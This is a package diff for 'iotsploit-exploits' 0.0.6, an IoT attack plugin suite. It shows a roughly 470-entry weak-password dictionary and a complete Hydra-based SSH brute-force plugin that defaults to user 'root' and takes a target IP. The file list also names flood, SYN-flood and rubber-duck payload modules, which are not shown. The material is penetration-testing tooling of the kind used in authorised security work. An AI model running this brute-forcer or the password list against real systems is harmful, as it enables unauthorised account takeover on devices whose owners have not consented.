iotsploit-exploits 0.0.6__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- iotsploit_exploits/__init__.py +1 -0
- iotsploit_exploits/adb_check/__init__.py +0 -0
- iotsploit_exploits/adb_check/adb_check.py +493 -0
- iotsploit_exploits/demo/__init__.py +0 -0
- iotsploit_exploits/demo/async_sleep_attack.py +106 -0
- iotsploit_exploits/demo/stream_data_attack.py +184 -0
- iotsploit_exploits/flood_attack/__init__.py +0 -0
- iotsploit_exploits/flood_attack/flood_attack.py +129 -0
- iotsploit_exploits/flood_attack/syn_flood_attack.py +233 -0
- iotsploit_exploits/greatfet_echo.py +103 -0
- iotsploit_exploits/greatfet_rubber_duck.py +417 -0
- iotsploit_exploits/hydra_cracker/weak_pass.txt +471 -0
- iotsploit_exploits/hydra_cracker/weak_pass_simple.txt +5 -0
- iotsploit_exploits/hydra_ssh_attack.py +159 -0
- iotsploit_exploits/ip_scan/__init__.py +0 -0
- iotsploit_exploits/ip_scan/ip_scan.py +196 -0
- iotsploit_exploits/nmap_scan/__init__.py +0 -0
- iotsploit_exploits/nmap_scan/nmap_scan.py +207 -0
- iotsploit_exploits/plugin_ssh.py +146 -0
- iotsploit_exploits/rubber_duck_scripts/linux_infogather.txt +126 -0
- iotsploit_exploits/rubber_duck_scripts/windows_payload.txt +93 -0
- iotsploit_exploits/serial/__init__.py +0 -0
- iotsploit_exploits/serial/picocom_serial_reader.py +704 -0
- iotsploit_exploits/simple_rubber_duck.py +183 -0
- iotsploit_exploits/wifi_scan/__init__.py +0 -0
- iotsploit_exploits/wifi_scan/wifi_scan.py +242 -0
- iotsploit_exploits-0.0.6.dist-info/METADATA +65 -0
- iotsploit_exploits-0.0.6.dist-info/RECORD +30 -0
- iotsploit_exploits-0.0.6.dist-info/WHEEL +4 -0
- iotsploit_exploits-0.0.6.dist-info/entry_points.txt +16 -0
|
@@ -0,0 +1,471 @@
|
|
|
1
|
+
|
|
2
|
+
123qwe
|
|
3
|
+
123asd
|
|
4
|
+
123zxc
|
|
5
|
+
1234qwer
|
|
6
|
+
Admin123
|
|
7
|
+
admin
|
|
8
|
+
ADMIN
|
|
9
|
+
Admin
|
|
10
|
+
admin@123
|
|
11
|
+
admin$123
|
|
12
|
+
admin$
|
|
13
|
+
adminadmin
|
|
14
|
+
1
|
|
15
|
+
123
|
|
16
|
+
123456
|
|
17
|
+
12345678
|
|
18
|
+
123456789
|
|
19
|
+
88888888
|
|
20
|
+
P@ssw0rd
|
|
21
|
+
P@ssw0rd12
|
|
22
|
+
P@ssword
|
|
23
|
+
P@ssword12
|
|
24
|
+
ADMIN@123
|
|
25
|
+
ABCD123
|
|
26
|
+
1qaz2wsx3edc
|
|
27
|
+
zaq1xsw2
|
|
28
|
+
3edc4rfv
|
|
29
|
+
vfr43edc
|
|
30
|
+
2wsxcde3
|
|
31
|
+
user
|
|
32
|
+
test
|
|
33
|
+
guest
|
|
34
|
+
idc
|
|
35
|
+
idcidc
|
|
36
|
+
idc123
|
|
37
|
+
4321dcba
|
|
38
|
+
456
|
|
39
|
+
admin123
|
|
40
|
+
@$$w0rd
|
|
41
|
+
@$$word
|
|
42
|
+
@$$w0rd1
|
|
43
|
+
@$$word1
|
|
44
|
+
@$$w0rd123
|
|
45
|
+
admin234
|
|
46
|
+
admins
|
|
47
|
+
admin123456
|
|
48
|
+
administrator
|
|
49
|
+
administrators
|
|
50
|
+
123456.com
|
|
51
|
+
123123
|
|
52
|
+
idc123!@#
|
|
53
|
+
aaa123!@#
|
|
54
|
+
qq123.com
|
|
55
|
+
wantian##*(
|
|
56
|
+
qwe123
|
|
57
|
+
qwe1234
|
|
58
|
+
123qwer
|
|
59
|
+
1qaz2wsx
|
|
60
|
+
1qaz
|
|
61
|
+
159753
|
|
62
|
+
!Q@W#E
|
|
63
|
+
159357
|
|
64
|
+
147369
|
|
65
|
+
1234567
|
|
66
|
+
password
|
|
67
|
+
aistar123<>!N
|
|
68
|
+
321
|
|
69
|
+
idcji2010
|
|
70
|
+
qqqqqq
|
|
71
|
+
1q2w3e
|
|
72
|
+
q1w2e3
|
|
73
|
+
336699
|
|
74
|
+
abc123
|
|
75
|
+
123abc
|
|
76
|
+
asd123
|
|
77
|
+
123654
|
|
78
|
+
111111
|
|
79
|
+
111
|
|
80
|
+
111qqq...
|
|
81
|
+
953139.
|
|
82
|
+
0258
|
|
83
|
+
111qqq!!!
|
|
84
|
+
1236
|
|
85
|
+
qqii
|
|
86
|
+
tyinfo
|
|
87
|
+
abcd36888
|
|
88
|
+
rst_login
|
|
89
|
+
OAOidc
|
|
90
|
+
OAOidc123!@#
|
|
91
|
+
OAOidc123
|
|
92
|
+
esin888
|
|
93
|
+
qwer
|
|
94
|
+
power123
|
|
95
|
+
power.liu
|
|
96
|
+
power.yu
|
|
97
|
+
dns99+588
|
|
98
|
+
zhengui
|
|
99
|
+
idc0.1
|
|
100
|
+
7715123
|
|
101
|
+
sdwer
|
|
102
|
+
power.zhao
|
|
103
|
+
sdwer123
|
|
104
|
+
qwer1234
|
|
105
|
+
esincs
|
|
106
|
+
jspower123.0
|
|
107
|
+
5656789
|
|
108
|
+
2323456
|
|
109
|
+
power.com
|
|
110
|
+
power123.0
|
|
111
|
+
power0.123
|
|
112
|
+
jspower.com
|
|
113
|
+
hlwj0519-1205.jf
|
|
114
|
+
123321
|
|
115
|
+
zaxscdvf
|
|
116
|
+
..0
|
|
117
|
+
!@#$QWER
|
|
118
|
+
95313
|
|
119
|
+
1231321
|
|
120
|
+
321123
|
|
121
|
+
vipnew
|
|
122
|
+
idc0514
|
|
123
|
+
1235698
|
|
124
|
+
235689
|
|
125
|
+
326598
|
|
126
|
+
112233
|
|
127
|
+
111222
|
|
128
|
+
idc11
|
|
129
|
+
21vianet
|
|
130
|
+
#@!ewq
|
|
131
|
+
1010
|
|
132
|
+
111qqq
|
|
133
|
+
1234%^&*
|
|
134
|
+
12345^&*()
|
|
135
|
+
4867086
|
|
136
|
+
123!@#
|
|
137
|
+
123456!@#
|
|
138
|
+
10000
|
|
139
|
+
794613
|
|
140
|
+
784512
|
|
141
|
+
895623
|
|
142
|
+
789456
|
|
143
|
+
456123
|
|
144
|
+
654321
|
|
145
|
+
1234!@#$
|
|
146
|
+
11185
|
|
147
|
+
12345!@#$%
|
|
148
|
+
qwe123!@#
|
|
149
|
+
!@#123
|
|
150
|
+
!@#321
|
|
151
|
+
123#@!
|
|
152
|
+
19861212
|
|
153
|
+
19831212
|
|
154
|
+
19841020
|
|
155
|
+
#@!123
|
|
156
|
+
#@!321
|
|
157
|
+
!@#$%^&*()
|
|
158
|
+
)(*&^%$#@!
|
|
159
|
+
987654321
|
|
160
|
+
0987654321
|
|
161
|
+
tyidc
|
|
162
|
+
1122
|
|
163
|
+
idcidcok
|
|
164
|
+
idcuser
|
|
165
|
+
abcd1234
|
|
166
|
+
4321abcd
|
|
167
|
+
1234abcd
|
|
168
|
+
1234ABCD
|
|
169
|
+
4321ABCD
|
|
170
|
+
caonima
|
|
171
|
+
1q2w3e4r
|
|
172
|
+
888888
|
|
173
|
+
admin!@#
|
|
174
|
+
abc!@#
|
|
175
|
+
!Q@W#E$R%T
|
|
176
|
+
idc2010
|
|
177
|
+
1q2w3e4r5t
|
|
178
|
+
qqaazz
|
|
179
|
+
asdasd
|
|
180
|
+
admin1
|
|
181
|
+
aaa111
|
|
182
|
+
111aaa
|
|
183
|
+
123aaa
|
|
184
|
+
lh222
|
|
185
|
+
lhidc
|
|
186
|
+
123a
|
|
187
|
+
a123
|
|
188
|
+
123456a
|
|
189
|
+
a123456
|
|
190
|
+
aaa123
|
|
191
|
+
qazwsx
|
|
192
|
+
qazxsw
|
|
193
|
+
0123
|
|
194
|
+
123112233
|
|
195
|
+
123111
|
|
196
|
+
www.7x24.cn
|
|
197
|
+
shisp.net
|
|
198
|
+
123000
|
|
199
|
+
idc0123
|
|
200
|
+
1230..
|
|
201
|
+
123456qwe
|
|
202
|
+
12345qwert
|
|
203
|
+
zxcvbnm
|
|
204
|
+
qwerty
|
|
205
|
+
qweqwe
|
|
206
|
+
123ewq
|
|
207
|
+
qwe321
|
|
208
|
+
huaiyukeji115
|
|
209
|
+
idc9aewr42
|
|
210
|
+
123asdasd
|
|
211
|
+
qsx6059410172.
|
|
212
|
+
idc0001
|
|
213
|
+
idc800888
|
|
214
|
+
idc46121
|
|
215
|
+
882627.8
|
|
216
|
+
852799!!!
|
|
217
|
+
.......199
|
|
218
|
+
xu15817079919
|
|
219
|
+
yanjin0429
|
|
220
|
+
zhangznw
|
|
221
|
+
13527380230
|
|
222
|
+
idc0.01
|
|
223
|
+
idc123&123
|
|
224
|
+
662766
|
|
225
|
+
122.224
|
|
226
|
+
.......199@
|
|
227
|
+
liuzhangzi1988
|
|
228
|
+
123456!@#$%^
|
|
229
|
+
dahouzi110
|
|
230
|
+
123.789+
|
|
231
|
+
trista188#**
|
|
232
|
+
mm1237
|
|
233
|
+
07736056123
|
|
234
|
+
TnHoo15862380404
|
|
235
|
+
189532210113
|
|
236
|
+
gedingfeng1102888
|
|
237
|
+
1234.abcABC
|
|
238
|
+
zaq123.321
|
|
239
|
+
qwer1234!@#$
|
|
240
|
+
123456abc
|
|
241
|
+
123+456+789
|
|
242
|
+
123.456.789
|
|
243
|
+
123+123
|
|
244
|
+
000000
|
|
245
|
+
258
|
|
246
|
+
qwe147258
|
|
247
|
+
qwe147
|
|
248
|
+
147147
|
|
249
|
+
258258
|
|
250
|
+
369369
|
|
251
|
+
147258369
|
|
252
|
+
741852963
|
|
253
|
+
1234ASDFasdf
|
|
254
|
+
1234qwerQWER
|
|
255
|
+
1234asdfASDF
|
|
256
|
+
123QWErty
|
|
257
|
+
123QWE456tyu
|
|
258
|
+
123123a
|
|
259
|
+
a123123
|
|
260
|
+
ezidc123
|
|
261
|
+
EZidz123
|
|
262
|
+
Ezidc123
|
|
263
|
+
EZidc
|
|
264
|
+
idc!@#
|
|
265
|
+
idc!!@@##
|
|
266
|
+
123qazwsx
|
|
267
|
+
123qweasd
|
|
268
|
+
!qaz@wsx
|
|
269
|
+
!qaz@WSX
|
|
270
|
+
!QAZ@WSX
|
|
271
|
+
ASDF1234
|
|
272
|
+
ASDF1234!@#$
|
|
273
|
+
123.456
|
|
274
|
+
1qazxsw2
|
|
275
|
+
1QAZxsw2
|
|
276
|
+
!QAZxsw2
|
|
277
|
+
!QAZXSW@
|
|
278
|
+
asdf1234!@#$
|
|
279
|
+
1234!@#$qwer
|
|
280
|
+
1234asdf!@#$
|
|
281
|
+
1234!@#$asdf
|
|
282
|
+
asdf!@#$1234
|
|
283
|
+
ZXCasdqwe
|
|
284
|
+
QWEasd!@#
|
|
285
|
+
QWEasd123
|
|
286
|
+
zzidc123
|
|
287
|
+
ZZidc123
|
|
288
|
+
idczz123
|
|
289
|
+
qq.COM
|
|
290
|
+
RInima
|
|
291
|
+
123!123
|
|
292
|
+
QWEasd
|
|
293
|
+
Admin!@#
|
|
294
|
+
A123456A
|
|
295
|
+
A123a123
|
|
296
|
+
1234asdf
|
|
297
|
+
1234zxcv
|
|
298
|
+
123456qwert
|
|
299
|
+
123qwe456rty
|
|
300
|
+
321abc
|
|
301
|
+
321.abc
|
|
302
|
+
123.abc
|
|
303
|
+
1234.abcd
|
|
304
|
+
123456.123456
|
|
305
|
+
123456456
|
|
306
|
+
654321abc
|
|
307
|
+
abcABC123
|
|
308
|
+
ASD.123
|
|
309
|
+
000123!@#
|
|
310
|
+
2013@2013
|
|
311
|
+
2012@2012
|
|
312
|
+
520@1314
|
|
313
|
+
123.qwe
|
|
314
|
+
123.asd
|
|
315
|
+
123.zxc
|
|
316
|
+
1234.qwer
|
|
317
|
+
1234.asdf
|
|
318
|
+
1234.zxcv
|
|
319
|
+
123$qwer
|
|
320
|
+
123321abc
|
|
321
|
+
123a321
|
|
322
|
+
1qaz123
|
|
323
|
+
1qaz123456
|
|
324
|
+
1qaz741
|
|
325
|
+
123qazwsxedc
|
|
326
|
+
123qweasdzxc
|
|
327
|
+
qweasd2012
|
|
328
|
+
654321qweasd
|
|
329
|
+
987456321
|
|
330
|
+
123654789
|
|
331
|
+
123qwe456asd
|
|
332
|
+
123asd456zxc
|
|
333
|
+
qwe0asd
|
|
334
|
+
qwe@asd
|
|
335
|
+
qwe@asd123
|
|
336
|
+
1qazXSW@
|
|
337
|
+
!QAZ2wsx
|
|
338
|
+
1qaz@WSX
|
|
339
|
+
1qaz2WSX
|
|
340
|
+
1qaz@WSX123
|
|
341
|
+
6543211qaz@WSX
|
|
342
|
+
1231qaz@WSX
|
|
343
|
+
1231qaz2wsx
|
|
344
|
+
qweASD
|
|
345
|
+
qweASD123
|
|
346
|
+
1qaz@WSX2012
|
|
347
|
+
1qaz@WSX3edc
|
|
348
|
+
@WSX1qaz
|
|
349
|
+
2012qwer1234
|
|
350
|
+
2012qwerasd
|
|
351
|
+
2012abc
|
|
352
|
+
Knb1lQc2
|
|
353
|
+
9ol.0p;/
|
|
354
|
+
2012qwe
|
|
355
|
+
2012asd
|
|
356
|
+
2012zxc
|
|
357
|
+
2012abcd
|
|
358
|
+
2012qweasd2012
|
|
359
|
+
@WSX#EDC
|
|
360
|
+
#EDC$RFV
|
|
361
|
+
$RFV%TGB
|
|
362
|
+
%TGB^YHN
|
|
363
|
+
^YHN&UJM
|
|
364
|
+
&UJM*IK<
|
|
365
|
+
*IK<(OL>
|
|
366
|
+
(OL>)P:?
|
|
367
|
+
2wsx3edc
|
|
368
|
+
4rfv5tgb
|
|
369
|
+
5tgb6yhn
|
|
370
|
+
6yhn7ujm
|
|
371
|
+
7ujm8ik,
|
|
372
|
+
8ik,9ol.
|
|
373
|
+
qazwsxedc2012
|
|
374
|
+
zaqxswcde2012
|
|
375
|
+
zaqxswcde
|
|
376
|
+
123,./
|
|
377
|
+
123456,./
|
|
378
|
+
123456789,./
|
|
379
|
+
qwe123,./
|
|
380
|
+
qwer1234,./
|
|
381
|
+
asd123,./
|
|
382
|
+
zxc123,./
|
|
383
|
+
abc123,./
|
|
384
|
+
zxcvbnm123
|
|
385
|
+
qwe@123123
|
|
386
|
+
password.123
|
|
387
|
+
xxxxxx
|
|
388
|
+
a123.321
|
|
389
|
+
a1234.1234
|
|
390
|
+
qsc123qwe
|
|
391
|
+
789qwe123
|
|
392
|
+
789qwe&*(
|
|
393
|
+
123qwe!@#
|
|
394
|
+
caonima,./
|
|
395
|
+
good.123
|
|
396
|
+
good123!@#
|
|
397
|
+
server1234ASDF
|
|
398
|
+
1234QWER
|
|
399
|
+
p0o9i8
|
|
400
|
+
p0o9i8,./
|
|
401
|
+
123zxc456
|
|
402
|
+
123asd456
|
|
403
|
+
qwer1234asdf
|
|
404
|
+
qwe123asd!@#
|
|
405
|
+
!qaz2WSX
|
|
406
|
+
1QAZ2wsx
|
|
407
|
+
q!w@e#r$t%
|
|
408
|
+
sqlsql1433
|
|
409
|
+
00123456..
|
|
410
|
+
00123456...
|
|
411
|
+
qwaasz!@#
|
|
412
|
+
qweaasdzxc
|
|
413
|
+
happynewyear
|
|
414
|
+
aa123456
|
|
415
|
+
aasd123456
|
|
416
|
+
aasd.12345
|
|
417
|
+
Abcd1234
|
|
418
|
+
idc200999
|
|
419
|
+
!2#4%6
|
|
420
|
+
!2#4%6&
|
|
421
|
+
ZAQ!2wsx
|
|
422
|
+
ZAQ!xsw2
|
|
423
|
+
!QWE!asd
|
|
424
|
+
QWE!asd!
|
|
425
|
+
qwe!asd!
|
|
426
|
+
qwe!@#asd
|
|
427
|
+
qwe!@#asd!@#
|
|
428
|
+
ewq1rew2tre3
|
|
429
|
+
happy2013
|
|
430
|
+
2013happy
|
|
431
|
+
2012happy
|
|
432
|
+
2013.happy
|
|
433
|
+
qwer01234!!!
|
|
434
|
+
qwer01234!@#$
|
|
435
|
+
qwer.01234
|
|
436
|
+
shabiniqusi
|
|
437
|
+
nishi2b
|
|
438
|
+
2013woquni
|
|
439
|
+
1314woquni
|
|
440
|
+
2013104quni
|
|
441
|
+
20122012
|
|
442
|
+
20122013
|
|
443
|
+
20132013
|
|
444
|
+
20132014
|
|
445
|
+
niqusibani
|
|
446
|
+
AdMin123
|
|
447
|
+
aDmin123
|
|
448
|
+
Admin2013
|
|
449
|
+
kiss2012
|
|
450
|
+
Kiss2013
|
|
451
|
+
hp123456
|
|
452
|
+
7u8i9o0p
|
|
453
|
+
6y7u8i9o0p
|
|
454
|
+
wobashiligang
|
|
455
|
+
nibashinigang
|
|
456
|
+
TMD123!@#
|
|
457
|
+
Tmd123456!@#
|
|
458
|
+
123456QWEASD%
|
|
459
|
+
jnstyle
|
|
460
|
+
3389style
|
|
461
|
+
2012style
|
|
462
|
+
2013style
|
|
463
|
+
style123!@#
|
|
464
|
+
style123456
|
|
465
|
+
style12345
|
|
466
|
+
12345style
|
|
467
|
+
style789789
|
|
468
|
+
style20122012
|
|
469
|
+
style520
|
|
470
|
+
3gqq.com
|
|
471
|
+
ghb123456!
|
|
@@ -0,0 +1,159 @@
|
|
|
1
|
+
#!/usr/bin/python3
|
|
2
|
+
|
|
3
|
+
import logging
|
|
4
|
+
import pluggy
|
|
5
|
+
from importlib.resources import files
|
|
6
|
+
from typing import Optional
|
|
7
|
+
from iotsploit_core.core.exploit_spec import ExploitResult
|
|
8
|
+
from iotsploit_core.core.base_plugin import BasePlugin
|
|
9
|
+
from iotsploit_core.core.tool_service import get_network_service
|
|
10
|
+
|
|
11
|
+
logger = logging.getLogger(__name__)
|
|
12
|
+
hookimpl = pluggy.HookimplMarker("exploit_mgr")
|
|
13
|
+
|
|
14
|
+
|
|
15
|
+
def _extract_ip_from_target(target: Optional[dict]) -> Optional[str]:
|
|
16
|
+
"""
|
|
17
|
+
Extract IP address from target dict.
|
|
18
|
+
|
|
19
|
+
Design decision:
|
|
20
|
+
- Plugin runs in dict mode at the boundary.
|
|
21
|
+
- The canonical key for IP is `ip_address` (consistent with core domain Target.get_info()).
|
|
22
|
+
"""
|
|
23
|
+
if not isinstance(target, dict):
|
|
24
|
+
return None
|
|
25
|
+
ip = target.get("ip_address") or target.get("ip") or target.get("host")
|
|
26
|
+
if isinstance(ip, str) and ip.strip():
|
|
27
|
+
return ip.strip()
|
|
28
|
+
return None
|
|
29
|
+
|
|
30
|
+
class HydraSSHAttackPlugin(BasePlugin):
|
|
31
|
+
def __init__(self):
|
|
32
|
+
super().__init__({
|
|
33
|
+
'Name': 'Hydra SSH Attack',
|
|
34
|
+
'Description': 'Performs a brute-force SSH password attack using Hydra.',
|
|
35
|
+
'License': 'GPL',
|
|
36
|
+
'Author': ['iotsploit'],
|
|
37
|
+
'RequiresRoot': False,
|
|
38
|
+
'Parameters': {
|
|
39
|
+
'username': {
|
|
40
|
+
'type': 'str',
|
|
41
|
+
'required': True,
|
|
42
|
+
'description': 'Username for SSH login',
|
|
43
|
+
'default': 'root'
|
|
44
|
+
},
|
|
45
|
+
'password_list': {
|
|
46
|
+
'type': 'str',
|
|
47
|
+
'required': True,
|
|
48
|
+
'description': 'Path to the password list file',
|
|
49
|
+
'default': str(files('iotsploit_exploits') / 'hydra_cracker' / 'weak_pass.txt')
|
|
50
|
+
},
|
|
51
|
+
'threads': {
|
|
52
|
+
'type': 'int',
|
|
53
|
+
'required': False,
|
|
54
|
+
'description': 'Number of parallel threads',
|
|
55
|
+
'default': 4
|
|
56
|
+
},
|
|
57
|
+
'port': {
|
|
58
|
+
'type': 'int',
|
|
59
|
+
'required': False,
|
|
60
|
+
'description': 'SSH port number',
|
|
61
|
+
'default': 22
|
|
62
|
+
}
|
|
63
|
+
}
|
|
64
|
+
})
|
|
65
|
+
self.network_service = get_network_service()
|
|
66
|
+
|
|
67
|
+
@hookimpl
|
|
68
|
+
def initialize(self, device_plugin=None):
|
|
69
|
+
logger.debug("Initializing HydraSSHAttackPlugin")
|
|
70
|
+
|
|
71
|
+
# Check if hydra is available through the tool service
|
|
72
|
+
if not self.network_service.is_tool_available('hydra'):
|
|
73
|
+
logger.warning("Hydra is not available. Please install it to use this plugin.")
|
|
74
|
+
logger.info("Install hydra using: sudo apt install hydra (Debian/Ubuntu) or your system's package manager")
|
|
75
|
+
else:
|
|
76
|
+
logger.info("Hydra tool is available and ready to use")
|
|
77
|
+
|
|
78
|
+
@hookimpl
|
|
79
|
+
def execute(self, target: Optional[dict] = None, parameters: Optional[dict] = None) -> ExploitResult:
|
|
80
|
+
logger.info("Executing HydraSSHAttackPlugin")
|
|
81
|
+
try:
|
|
82
|
+
# Execute the attack
|
|
83
|
+
result = self._execute_attack(target, parameters)
|
|
84
|
+
return result
|
|
85
|
+
|
|
86
|
+
except Exception as e:
|
|
87
|
+
logger.error(f"Error during Hydra SSH attack: {str(e)}")
|
|
88
|
+
return ExploitResult(False, f"Hydra SSH attack failed: {str(e)}", {})
|
|
89
|
+
|
|
90
|
+
def _execute_attack(self, target: Optional[dict], parameters: Optional[dict]) -> ExploitResult:
|
|
91
|
+
"""Helper method to execute the actual attack"""
|
|
92
|
+
logger.info(f"Executing HydraSSHAttackPlugin with target: {target} and parameters: {parameters}")
|
|
93
|
+
|
|
94
|
+
# Check if hydra is available
|
|
95
|
+
if not self.network_service.is_tool_available('hydra'):
|
|
96
|
+
return ExploitResult(False, "Hydra tool is not available. Please install it first.", {})
|
|
97
|
+
|
|
98
|
+
# Extract IP from target dict (normalized by exploit_manager)
|
|
99
|
+
target_ip = _extract_ip_from_target(target)
|
|
100
|
+
if not target_ip:
|
|
101
|
+
logger.warning("No valid target IP. Expected dict with 'ip_address' key.")
|
|
102
|
+
return ExploitResult(False, "Missing target ip_address (dict target expected)", {})
|
|
103
|
+
|
|
104
|
+
# Get parameters with defaults
|
|
105
|
+
parameters = parameters or {}
|
|
106
|
+
username = parameters.get('username', self.info['Parameters']['username']['default'])
|
|
107
|
+
password_list = parameters.get('password_list', self.info['Parameters']['password_list']['default'])
|
|
108
|
+
threads = parameters.get('threads', self.info['Parameters']['threads']['default'])
|
|
109
|
+
port = parameters.get('port', self.info['Parameters']['port']['default'])
|
|
110
|
+
|
|
111
|
+
logger.info(f"Starting SSH brute force attack on {target_ip}:{port} with username '{username}'")
|
|
112
|
+
|
|
113
|
+
try:
|
|
114
|
+
# Build Hydra command arguments
|
|
115
|
+
args = [
|
|
116
|
+
'-t', str(threads),
|
|
117
|
+
'-l', username,
|
|
118
|
+
'-P', password_list
|
|
119
|
+
]
|
|
120
|
+
|
|
121
|
+
# Add port if not default
|
|
122
|
+
if port != 22:
|
|
123
|
+
args.extend(['-s', str(port)])
|
|
124
|
+
|
|
125
|
+
# Add target with protocol
|
|
126
|
+
args.append(f'ssh://{target_ip}')
|
|
127
|
+
|
|
128
|
+
logger.info(f"Executing Hydra with args: {args}")
|
|
129
|
+
|
|
130
|
+
# Use the network service to execute Hydra
|
|
131
|
+
result = self.network_service.execute_tool('hydra', args, timeout=600)
|
|
132
|
+
|
|
133
|
+
if result.success:
|
|
134
|
+
logger.info(f"Hydra SSH attack completed successfully")
|
|
135
|
+
return ExploitResult(True, "Hydra SSH attack executed successfully", {
|
|
136
|
+
"output": result.stdout,
|
|
137
|
+
"execution_time": result.execution_time,
|
|
138
|
+
"command": result.command
|
|
139
|
+
})
|
|
140
|
+
else:
|
|
141
|
+
logger.warning(f"Hydra SSH attack completed with return code {result.return_code}")
|
|
142
|
+
return ExploitResult(False, "Hydra SSH attack failed to find credentials", {
|
|
143
|
+
"output": result.stdout,
|
|
144
|
+
"error": result.stderr,
|
|
145
|
+
"return_code": result.return_code,
|
|
146
|
+
"execution_time": result.execution_time
|
|
147
|
+
})
|
|
148
|
+
|
|
149
|
+
except RuntimeError as e:
|
|
150
|
+
logger.error(f"Tool execution error: {str(e)}")
|
|
151
|
+
return ExploitResult(False, f"Tool execution error: {str(e)}", {})
|
|
152
|
+
except Exception as e:
|
|
153
|
+
logger.error(f"Unexpected error during Hydra execution: {str(e)}")
|
|
154
|
+
return ExploitResult(False, f"Unexpected error: {str(e)}", {})
|
|
155
|
+
|
|
156
|
+
@hookimpl
|
|
157
|
+
def cleanup(self):
|
|
158
|
+
logger.info("Cleaning up HydraSSHAttackPlugin")
|
|
159
|
+
pass
|
|
File without changes
|